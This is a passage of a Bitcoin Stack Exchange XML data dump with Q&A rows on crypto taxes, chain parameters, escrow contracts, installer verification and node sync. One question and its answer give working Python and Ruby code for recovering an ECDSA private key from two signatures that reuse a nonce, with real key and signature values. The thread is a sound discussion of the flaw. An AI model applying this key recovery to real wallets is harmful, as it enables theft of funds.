  <row Id="35833" PostTypeId="2" ParentId="35826" CreationDate="2015-02-01T00:18:38.247" Score="2" Body="&lt;p&gt;That's correct. You have no taxes and no need to report them if you have not sold/spent any of the coins in the tax year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You do need to keep records of your purchases, because when you do come to sell, you'll need to work out the potential gains you've made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do need to work out your gains, you can use &lt;a href=&quot;https://bitcoin.tax&quot; rel=&quot;nofollow&quot;&gt;https://bitcoin.tax&lt;/a&gt; or other capital gains calculators that can work out the total gains from all your selling or spending.&lt;/p&gt;&#xA;" OwnerUserId="23172" LastActivityDate="2015-02-01T00:18:38.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35834" PostTypeId="2" ParentId="35828" CreationDate="2015-02-01T02:56:11.890" Score="6" Body="&lt;p&gt;I don't think there's really any better reason than &quot;Satoshi Nakamoto chose to write the code that way, and nobody ever changed it&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no inherent reason why these values couldn't be loaded from a configuration file, but there's a general principle that config files are intended for parameters that are &lt;em&gt;user&lt;/em&gt; configurable.  A Bitcoin user couldn't change anything in that config file or their client would quit working with the rest of the network.  Developers might want to, but they are expected to be comfortable with recompiling.  So presumably nobody thought it was worthwhile to write the code to parse a config file for these values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you want to be able to modify those values by editing a config file, you'll first have to write the code to parse and load the config file.  Which, of course, also involves recompiling (and a lot more work besides).  Perhaps now you can see why nobody has wanted to do it so far.  But if you do, you can offer the code back to the main Bitcoin Core development line, and maybe it will be incorporated, thus saving someone in the future from this quandary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Recompiling Bitcoin Core is not all that much work, once you have a development environment and necessary dependencies installed.  And when you have compiled it once, changes to the chain parameters should only require you to recompile one file and relink (which Make will do automatically).&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-02-01T02:56:11.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35835" PostTypeId="2" ParentId="35828" CreationDate="2015-02-01T03:44:39.343" Score="2" Body="&lt;p&gt;The glib answer would be, &quot;Because then users would come on the forums and complain that changing nTargetSpacing causes their client to stop syncronizing.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other issue is that a lot of the really interesting parameters aren't in chainparams at all. For example, the function that determines block rewards is in &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/de8b9ab75718ef7663d5e8cc2f2135b8118730e7/src/main.cpp#L1228&quot; rel=&quot;nofollow&quot;&gt;main.cpp&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I don't think there's a technical issue preventing you from making those things config options.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-02-01T07:51:40.497" LastActivityDate="2015-02-01T07:51:40.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35836" PostTypeId="1" CreationDate="2015-02-01T03:56:12.560" Score="2" ViewCount="82" Body="&lt;p&gt;&lt;strong&gt;Does a BTC service/application allow me to set a &lt;code&gt;nTimeLock&lt;/code&gt; transaction that can be interrupted by a single predetermined 3rd party before the transaction has been made public? If a service like this does not exist how could I implement a simple version?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BACKGROUND&lt;/strong&gt; stickK.com (&lt;a href=&quot;https://www.stickk.com/tour/1&quot; rel=&quot;nofollow&quot;&gt;how it works&lt;/a&gt;) lets you place monetary punishments for not achieving goals by a predetermined date. The money goes to &quot;anti-charities&quot; or organizations that represent the opposite of your beliefs. I wanted to try the service but didn't want to give them my Credit Card information, and thought bitcoin could do it better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;QUESTION&lt;/strong&gt; Do any services currently exist that allow me to place a bitcoin transaction to an &quot;anti-charity&quot; in escrow for a certain period of time to achieve my goal. Then if a person of my choosing, my referee (a close friend, sibling, or mentor), determines &lt;em&gt;I have&lt;/em&gt; met my goal they can send the bitcoin back to me. However if I &lt;em&gt;did not&lt;/em&gt; meet the goal within the specified time period then the contract will automatically send the .5 BTC to my anti-charity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;POSSIBLE SOLUTION&lt;/strong&gt; The bitcoin wiki &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts#Example_1:_Providing_a_deposit&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;offers an example on the contracts page&lt;/strong&gt;&lt;/a&gt; that I feel is very relevant even though it is talking about deposits, but is difficult for me to wrap my head around. If this is the proper solution can you help me understand &quot;Tx2 spends Tx1 and pays it back to the user&quot; found here: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol start=&quot;4&quot;&gt;&#xA;  &lt;li&gt;The website creates a transaction Tx2 (the contract). Tx2 spends Tx1&#xA;  and pays it back to the user via the address he provided in the&#xA;  first step. Note that Tx1 requires two signatures, so this&#xA;  transaction can't be complete. nLockTime is set to some date in the&#xA;  future (eg, six months). The sequence number on the input is set to&#xA;  zero.&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="23174" LastActivityDate="2015-02-01T03:56:12.560" Title="Bitcoin contracts with stickK.com functionality" Tags="|multi-signature|contracts|escrow|locktime|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35837" PostTypeId="1" AcceptedAnswerId="35846" CreationDate="2015-02-01T11:08:17.257" Score="1" ViewCount="392" Body="&lt;p&gt;If I have a peercoin wallet and generate coins with the PoS system, how often does it pay me the 1%? Can I change this to every week/month/half year?&lt;/p&gt;&#xA;" OwnerUserId="21126" LastActivityDate="2015-02-02T00:23:27.073" Title="How often does peercoin minting pay out?" Tags="|altcoin|proof-of-stake|peercoin|" AnswerCount="1" CommentCount="0" ClosedDate="2023-10-26T00:41:29.163" ContentLicense="CC BY-SA 3.0" />
  <row Id="35838" PostTypeId="5" CreationDate="2015-02-01T21:33:03.540" Score="0" Body="" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-02-01T21:33:03.540" LastActivityDate="2015-02-01T21:33:03.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35839" PostTypeId="4" CreationDate="2015-02-01T21:33:03.540" Score="0" Body="The -datadir option changes where Bitcoin Core puts its wallet and blockchain database." OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-02-01T21:33:03.540" LastActivityDate="2015-02-01T21:33:03.540" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35840" PostTypeId="1" AcceptedAnswerId="35864" CreationDate="2015-02-01T21:38:00.050" Score="0" ViewCount="313" Body="&lt;p&gt;I'm having difficulty GPG-verifying my offline Armory installer for Ubuntu, using the suggested steps:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cd Downloads # the directory containing the *.deb&#xA;$ gpg --recv-keys --keyserver keyserver.ubuntu.com 98832223&#xA;$ sudo apt-get install dpkg-sig&#xA;$ dpkg-sig --verify *.deb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first three steps are working, since I can verify the standard Ubuntu installer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ubuntu@ubuntu:~/Downloads$ dpkg-sig --verify *.deb&#xA;Processing armory_0.92.3_ubuntu-32bit.deb...&#xA;GOODSIG _gpgbuilder 821F122936BDD565366AC36A4AB16AEA98832223 1412393663&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But for the offline bundle I just get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ubuntu@ubuntu:~/Downloads$ dpkg-sig --verify *.deb&#xA;E: Cannot find *.deb: no such file&#xA;ubuntu@ubuntu:~/Downloads$ ls&#xA;Alan-C.-Reiner-Offline-Signing-Key-alan@bitcoinarmory.com-0x98832223-pub.asc&#xA;armory_0.92.3_offline_ubuntu_12.04-32.tar.gz&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So I extracted the .tar.gz and cd OfflineBundle, which gives me these files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ubuntu@ubuntu:~/Downloads/OfflineBundle$ ls&#xA;Alan-C.-Reiner-Offline-Signing-Key-alan@bitcoinarmory.com-0x98832223-pub.asc&#xA;armory_0.92.3_ubuntu-32bit.deb      &#xA;dpkg-sig_0.13.1_all.deb&#xA;Install_DoubleClick_RunInTerminal.sh&#xA;libqt4-designer_4.8.1-0ubuntu4.8_i386.deb&#xA;libqt4-help_4.8.1-0ubuntu4.8_i386.deb&#xA;libqt4-scripttools_4.8.1-0ubuntu4.8_i386.deb&#xA;libqt4-test_4.8.1-0ubuntu4.8_i386.deb&#xA;libqtassistantclient4_4.6.3-3ubuntu2_i386.deb&#xA;libqtwebkit4_2.2.1-1ubuntu4_i386.deb&#xA;python-psutil_0.4.1-1ubuntu1_i386.deb&#xA;python-pyasn1_0.0.11a-1ubuntu1_all.deb&#xA;python-qt4_4.9.1-2ubuntu1_i386.deb&#xA;python-sip_4.13.2-1_i386.deb&#xA;python-twisted_11.1.0-1ubuntu2_all.deb&#xA;python-twisted-conch_11.1.0-1_all.deb&#xA;python-twisted-lore_11.1.0-1_all.deb&#xA;python-twisted-mail_11.1.0-1_all.deb&#xA;python-twisted-news_11.1.0-1_all.deb&#xA;python-twisted-runner_11.1.0-1_i386.deb&#xA;python-twisted-words_11.1.0-1_all.deb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure it's armory_0.92.3_ubuntu-32bit.deb that is the file that should have the GOODSIG after it, but when I run dpkg-sig --verify *.deb, I just get this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Processing armory_0.92.3_ubuntu-32bit.deb...&#xA;Processing dpkg-sig_0.13.1_all.deb...&#xA;Processing libqt4-designer_4.8.1-0ubuntu4.8_i386.deb...&#xA;Processing libqt4-help_4.8.1-0ubuntu4.8_i386.deb...&#xA;Processing libqt4-scripttools_4.8.1-0ubuntu4.8_i386.deb...&#xA;Processing libqt4-test_4.8.1-0ubuntu4.8_i386.deb...&#xA;Processing libqtassistantclient4_4.6.3-3ubuntu2_i386.deb...&#xA;Processing libqtwebkit4_2.2.1-1ubuntu4_i386.deb...&#xA;Processing python-psutil_0.4.1-1ubuntu1_i386.deb...&#xA;Processing python-pyasn1_0.0.11a-1ubuntu1_all.deb...&#xA;Processing python-qt4_4.9.1-2ubuntu1_i386.deb...&#xA;Processing python-sip_4.13.2-1_i386.deb...&#xA;Processing python-twisted_11.1.0-1ubuntu2_all.deb...&#xA;Processing python-twisted-conch_11.1.0-1_all.deb...&#xA;Processing python-twisted-lore_11.1.0-1_all.deb...&#xA;Processing python-twisted-mail_11.1.0-1_all.deb...&#xA;Processing python-twisted-news_11.1.0-1_all.deb...&#xA;Processing python-twisted-runner_11.1.0-1_i386.deb...&#xA;Processing python-twisted-words_11.1.0-1_all.deb...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Am I missing something?  What should I do?  I'm almost tempted to just replace the armory_0.92.3_ubuntu-32bit.deb file that came in the offline bundle with the one that came with the standard armory installer, but I'm worried that the rest of the files in OfflineBundle may have been tampered with as well.&lt;/p&gt;&#xA;" OwnerUserId="21301" LastActivityDate="2015-02-02T15:51:23.263" Title="Verify Offline Bitcoin Bundle on Ubuntu" Tags="|armory|offline|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35841" PostTypeId="1" CreationDate="2015-02-01T22:01:11.130" Score="3" ViewCount="397" Body="&lt;p&gt;The total &lt;code&gt;blockcount&lt;/code&gt; on my machine is not increasing. I have tried doing a &lt;code&gt;bitcoind -reindex -daemon&lt;/code&gt;, but it didn't ultimately increase the number of blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Attaching machine and &lt;code&gt;bitciond&lt;/code&gt; information below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Operating System:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my_machine ~ $ lsb_release -a&#xA;No LSB modules are available.&#xA;Distributor ID: Ubuntu&#xA;Description:    Ubuntu 14.04.1 LTS&#xA;Release:    14.04&#xA;Codename:   trusty&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bitcoin daemon:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;my_machine ~ $ bitcoind getinfo&#xA;{&#xA;    &quot;version&quot; : 90300,&#xA;    &quot;protocolversion&quot; : 70002,&#xA;    &quot;walletversion&quot; : 60000,&#xA;    &quot;balance&quot; : 0.00000000,&#xA;    &quot;blocks&quot; : 322082,&#xA;    &quot;timeoffset&quot; : 1,&#xA;    &quot;connections&quot; : 8,&#xA;    &quot;proxy&quot; : &quot;&quot;,&#xA;    &quot;difficulty&quot; : 29829733124.04041672,&#xA;    &quot;testnet&quot; : false,&#xA;    &quot;keypoololdest&quot; : 1422374797,&#xA;    &quot;keypoolsize&quot; : 100,&#xA;    &quot;unlocked_until&quot; : 0,&#xA;    &quot;paytxfee&quot; : 0.00000000,&#xA;    &quot;relayfee&quot; : 0.00001000,&#xA;    &quot;errors&quot; : &quot;Warning: The network does not appear to fully agree! Some miners appear to be experiencing issues.&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;UPDATE: Per the issue explained here: &lt;a href=&quot;http://sourceforge.net/p/bitcoin/mailman/message/33222029/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/p/bitcoin/mailman/message/33222029/&lt;/a&gt;, it appears that OpenSSL is the issue.  I tried to rectify the latest block being stuck at 322082 by doing the following&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;git clone -b 0.9 https://github.com/bitcoin/bitcoin.git bitcoin-0.9&#xA;cd bitcoin-0.9&#xA;./autogen.sh&#xA;cd src&#xA;./configure&#xA;./configure --with-incompatible-bdb&#xA;make&#xA;make check&#xA;stop bitcoind&#xA;bitcoind -daemon -server -reindex&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I then waited for the reindex to finish but I still have the same problem. Am I doing something wrong? How can I test that I have the right version of OpenSSL required?&lt;/p&gt;&#xA;" OwnerUserId="23179" LastEditorUserId="2306" LastEditDate="2015-03-12T22:21:08.573" LastActivityDate="2015-03-13T21:52:57.597" Title="Get Latest blocks with bitcoind on Ubuntu" Tags="|bitcoind|block|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35842" PostTypeId="1" AcceptedAnswerId="35844" CreationDate="2015-02-01T22:14:55.110" Score="7" ViewCount="915" Body="&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Proof_of_burn&quot;&gt;Bitcoin.it wiki article about proof of burn&lt;/a&gt; mentions &quot;verifiably unspendable addres&quot; and this method has been &lt;a href=&quot;http://counterparty.io/news/why-proof-of-burn/&quot;&gt;used by Counterparty&lt;/a&gt; to create XCP. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it actually possible to create an address that is &quot;verifiably unspendable&quot;? If yes, how? Or does &quot;verifiable&quot; just mean extremely hard, the way it is extremely hard to find a private key for any public key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or in other words: Are there valid Bitcoin addresses for which it's possible to mathematically prove that there is no private key?&lt;/p&gt;&#xA;" OwnerDisplayName="user5672" LastEditorDisplayName="user5672" LastEditDate="2015-02-01T23:44:02.703" LastActivityDate="2015-02-01T23:59:20.780" Title="Is it actually possible to create a &quot;verifiably unspendable&quot; address?" Tags="|proof-of-destruction|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35843" PostTypeId="2" ParentId="35842" CreationDate="2015-02-01T22:45:00.073" Score="3" Body="&lt;p&gt;Yes - the easiest way is to provide an algorithm for making bitcoin public address without knowing private key. That seems impossible but think about what makes valid bitcoin address - for example 1BitcoinEaterAddressDontSendf59kuE is valid. Last 6 digits are made just to make this valid address. With vanitygen which allows you to make some vanity prefixed: 1stackLmzFVj8ALj6mfBsbifRoD4miY36v. But with larger vanity part address is much harder to generate. In case of bitcoin eater on can prove that chance of finding private key for this sequence is so low that effectively this makes this verifiably unspendable. &lt;/p&gt;&#xA;" OwnerUserId="974" LastActivityDate="2015-02-01T22:45:00.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35844" PostTypeId="2" ParentId="35842" CreationDate="2015-02-01T23:59:20.780" Score="4" Body="&lt;p&gt;Every valid ECDSA public key corresponds to some valid ECDSA private key.  Bitcoin addresses are not actually public keys though, they are a 160-bit hash of a particular binary representation of the public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You asked:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are there valid Bitcoin addresses for which it's possible to mathematically prove that there is no private key?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As far as I know, the answer to that is no.  To construct such a proof, you would have to somehow consider the enormous set of all possible public keys, and prove that none of them have a binary representation whose 160-bit hash would match the Bitcoin address in question.  The point of hash functions is that they cannot be easily inverted, so you can't just get a list of all the valid inputs that would result in the same hash.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number of ECDSA public keys (approximately 2^256) is vastly greater than the number of Bitcoin addresses (2^160).  So the average Bitcoin address actually corresponds to about 2^(256-160) = 2^(96) different public keys.  So it seems like it would be hard to find an address that corresponds to 0 public keys.&lt;/p&gt;&#xA;" OwnerUserId="6091" LastActivityDate="2015-02-01T23:59:20.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35845" PostTypeId="2" ParentId="35841" CreationDate="2015-02-02T00:00:42.817" Score="2" Body="&lt;p&gt;According to &lt;a href=&quot;https://github.com/bitcoin/bitcoin/issues/5645&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; GitHub discussion it turns out that the problem is caused by OpenSSL moving to &lt;code&gt;0.9.4.0 binaries&lt;/code&gt; should resolve your issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Gregory Maxwell&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The incompatibility is due to the OpenSSL update changing the&#xA;  behavior of ECDSA validation to reject any signature which is&#xA;  not encoded in a very rigid manner.  This was a result of&#xA;  OpenSSL's change for CVE-2014-8275 &quot;Certificate fingerprints&#xA;  can be modified&quot;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;While for most applications it is generally acceptable to eagerly&#xA;  reject some signatures, Bitcoin is a consensus system where all&#xA;  participants must generally agree on the exact validity or&#xA;  invalidity of the input data.  In a sense, consistency is more&#xA;  important than &quot;correctness&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="6540" LastActivityDate="2015-02-02T00:00:42.817" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35846" PostTypeId="2" ParentId="35837" CreationDate="2015-02-02T00:23:27.073" Score="2" Body="&lt;p&gt;Minting is random. There is no guarantee that you will get 1% in a year, you could get 0% or 75%. You will get them when you successfully mint a block.&lt;/p&gt;&#xA;" OwnerUserId="23181" LastActivityDate="2015-02-02T00:23:27.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35848" PostTypeId="1" AcceptedAnswerId="35850" CreationDate="2015-02-02T03:56:25.050" Score="20" ViewCount="23399" Body="&lt;p&gt;In this blog: &lt;a href=&quot;https://web.archive.org/web/20160308014317/http://www.nilsschneider.net/2013/01/28/recovering-bitcoin-private-keys.html&quot; rel=&quot;noreferrer&quot;&gt;https://web.archive.org/web/20160308014317/http://www.nilsschneider.net/2013/01/28/recovering-bitcoin-private-keys.html&lt;/a&gt;&#xA;the author showed a case that using same k twice will leak private key.&lt;/p&gt;&#xA;&lt;p&gt;Many people know this method. But I find sometimes, the formula can not give the right answer(or I compute wrong).&lt;/p&gt;&#xA;&lt;p&gt;Look at this, you can verify signatures by public key:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public_key = 02a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b364&#xA;msghash1 = 01b125d18422cdfa7b153f5bcf5b01927cf59791d1d9810009c70cd37b14f4e6&#xA;msghash2 = 339ff7b1ced3a45c988b3e4e239ea745db3b2b3fda6208134691bd2e4a37d6e1&#xA;sig1 = 304402200861cce1da15fc2dd79f1164c4f7b3e6c1526e7e8d85716578689ca9a5dc349d02206cf26e2776f7c94cafcee05cc810471ddca16fa864d13d57bee1c06ce39a3188&#xA;sig2 = 304402200861cce1da15fc2dd79f1164c4f7b3e6c1526e7e8d85716578689ca9a5dc349d02204ba75bdda43b3aab84b895cfd9ef13a477182657faaf286a7b0d25f0cb9a7de2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So input data:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;r=0861cce1da15fc2dd79f1164c4f7b3e6c1526e7e8d85716578689ca9a5dc349d&#xA;s1=6cf26e2776f7c94cafcee05cc810471ddca16fa864d13d57bee1c06ce39a3188&#xA;s2=4ba75bdda43b3aab84b895cfd9ef13a477182657faaf286a7b0d25f0cb9a7de2&#xA;z1=01b125d18422cdfa7b153f5bcf5b01927cf59791d1d9810009c70cd37b14f4e6&#xA;z2=339ff7b1ced3a45c988b3e4e239ea745db3b2b3fda6208134691bd2e4a37d6e1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I work out:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;private key = eaa57720a5b012351d42b2d9ed6409af2b7cff11d2b8631684c1c97f49685fbb&#xA;public key = 04e0e81185567ea58fc7e7258aa4d5c3e201a8d4ce2810c1007d87727a67eeb9a8c2ba06935280209f8bf42fc7603b65095f036044c4124ddf7c6a250cb450e4c8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, it's wrong.&lt;/p&gt;&#xA;&lt;p&gt;I'm using this python code to compute:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# this function is from &#xA;# https://github.com/warner/python-ecdsa/blob/master/ecdsa/numbertheory.py&#xA;def inverse_mod( a, m ):&#xA;    &amp;quot;&amp;quot;&amp;quot;Inverse of a mod m.&amp;quot;&amp;quot;&amp;quot;&#xA;    if a &amp;lt; 0 or m &amp;lt;= a: a = a % m&#xA;    # From Ferguson and Schneier, roughly:&#xA;    c, d = a, m&#xA;    uc, vc, ud, vd = 1, 0, 0, 1&#xA;    while c != 0:&#xA;        q, c, d = divmod( d, c ) + ( c, )&#xA;        uc, vc, ud, vd = ud - q*uc, vd - q*vc, uc, vc&#xA;&#xA;    # At this point, d is the GCD, and ud*a+vd*m = d.&#xA;    # If d == 1, this means that ud is a inverse.&#xA;    assert d == 1&#xA;    if ud &amp;gt; 0: return ud&#xA;    else: return ud + m&#xA;&#xA;&#xA;def derivate_privkey(p, r, s1, s2, hash1, hash2):&#xA;    z = hash1 - hash2&#xA;    s = s1 - s2&#xA;    r_inv = inverse_mod(r, p)&#xA;    s_inv = inverse_mod(s, p)&#xA;    k = (z * s_inv) % p&#xA;    d = (r_inv * (s1 * k - hash1)) % p&#xA;    return d, k&#xA;&#xA;&#xA;p  = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141&#xA;&#xA;# this case is right&#xA;public_key=0x04dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff&#xA;r =0xd47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1&#xA;s1=0x44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e&#xA;s2=0x9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab&#xA;z1=0xc0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e&#xA;z2=0x17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc&#xA;print &amp;quot;private:%x\n random:%x&amp;quot; % derivate_privkey(p,r,s1,s2,z1,z2)&#xA;print&#xA;&#xA;# this case can be wrong&#xA;public_key=0x02a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b364&#xA;r =0x0861cce1da15fc2dd79f1164c4f7b3e6c1526e7e8d85716578689ca9a5dc349d&#xA;s1=0x6cf26e2776f7c94cafcee05cc810471ddca16fa864d13d57bee1c06ce39a3188&#xA;s2=0x4ba75bdda43b3aab84b895cfd9ef13a477182657faaf286a7b0d25f0cb9a7de2&#xA;z1=0x01b125d18422cdfa7b153f5bcf5b01927cf59791d1d9810009c70cd37b14f4e6&#xA;z2=0x339ff7b1ced3a45c988b3e4e239ea745db3b2b3fda6208134691bd2e4a37d6e1&#xA;&#xA;print &amp;quot;private:%x\n random:%x&amp;quot; % derivate_privkey(p,r,s1,s2,z1,z2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In fact, there have another one met this problem:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://crypto.stackexchange.com/questions/16615/ecdsa-how-to-retrieve-a-non-random-k&quot;&gt;https://crypto.stackexchange.com/questions/16615/ecdsa-how-to-retrieve-a-non-random-k&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But he didn't gave more infomation, maybe he figured it out.&lt;/p&gt;&#xA;&lt;p&gt;I have not found more people complaining about it, so, it's likely my fault somehow.&lt;/p&gt;&#xA;&lt;p&gt;Can you point out my error? or just point out the right way? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="23036" LastEditorUserId="9300" LastEditDate="2021-01-10T03:20:20.883" LastActivityDate="2021-11-18T12:26:49.980" Title="Recovering private key when someone uses the same k twice in ECDSA signatures" Tags="|ecdsa|recover-private-key|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="35849" PostTypeId="2" ParentId="20021" CreationDate="2015-02-02T07:38:44.043" Score="0" Body="&lt;p&gt;Maybe your answer is in &lt;a href=&quot;http://www.coinwarz.com/cryptocurrency&quot; rel=&quot;nofollow&quot;&gt;coin warz&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2015-02-02T07:38:44.043" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="35850" PostTypeId="2" ParentId="35848" CreationDate="2015-02-02T07:44:55.260" Score="19" Body="&lt;p&gt;Here is a fun thing about ECDSA signatures: you can always replace &lt;code&gt;s&lt;/code&gt; with &lt;code&gt;-s&lt;/code&gt; (mod N) and the signature is still valid.  So when you are deducing the &lt;code&gt;k&lt;/code&gt; value, it is possible that someone else flipped the sign of &lt;code&gt;s&lt;/code&gt; and you will have to undo it.  So, you have to make a list of candidates for &lt;code&gt;k&lt;/code&gt; (kandidates?) and then select whichever one actually works.  A good list of k candidates would be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(z1 - z2) / (s1 - s2)&lt;/li&gt;&#xA;&lt;li&gt;(z1 - z2) / (s1 + s2)&lt;/li&gt;&#xA;&lt;li&gt;(z1 - z2) / (-s1 - s2)&lt;/li&gt;&#xA;&lt;li&gt;(z1 - z2) / (-s1 + s2)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I like to use the &lt;a href=&quot;https://github.com/DavidEGrayson/ruby_ecdsa&quot; rel=&quot;noreferrer&quot;&gt;Ruby ECDSA gem&lt;/a&gt; to play around with this kind of stuff.  Here is the code I wrote which successfully finds the private key for the first input data you gave:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require 'ecdsa'&#xA;&#xA;public_key_hex = '02a50eb66887d03fe186b608f477d99bc7631c56e64bb3af7dc97e71b917c5b364'&#xA;msghash1_hex = '01b125d18422cdfa7b153f5bcf5b01927cf59791d1d9810009c70cd37b14f4e6'&#xA;msghash2_hex = '339ff7b1ced3a45c988b3e4e239ea745db3b2b3fda6208134691bd2e4a37d6e1'&#xA;sig1_hex = '304402200861cce1da15fc2dd79f1164c4f7b3e6c1526e7e8d85716578689ca9a5dc349d02206cf26e2776f7c94cafcee05cc810471ddca16fa864d13d57bee1c06ce39a3188'&#xA;sig2_hex = '304402200861cce1da15fc2dd79f1164c4f7b3e6c1526e7e8d85716578689ca9a5dc349d02204ba75bdda43b3aab84b895cfd9ef13a477182657faaf286a7b0d25f0cb9a7de2'&#xA;&#xA;group = ECDSA::Group::Secp256k1&#xA;&#xA;def hex_to_binary(str)&#xA;  str.scan(/../).map(&amp;amp;:hex).pack('C*')&#xA;end&#xA;&#xA;public_key_str = hex_to_binary(public_key_hex)&#xA;public_key = ECDSA::Format::PointOctetString.decode(public_key_str, group)&#xA;&#xA;puts 'public key x: %#x' % public_key.x&#xA;puts 'public key y: %#x' % public_key.y&#xA;&#xA;msghash1 = hex_to_binary(msghash1_hex)&#xA;msghash2 = hex_to_binary(msghash2_hex)&#xA;sig1 = ECDSA::Format::SignatureDerString.decode(hex_to_binary(sig1_hex))&#xA;sig2 = 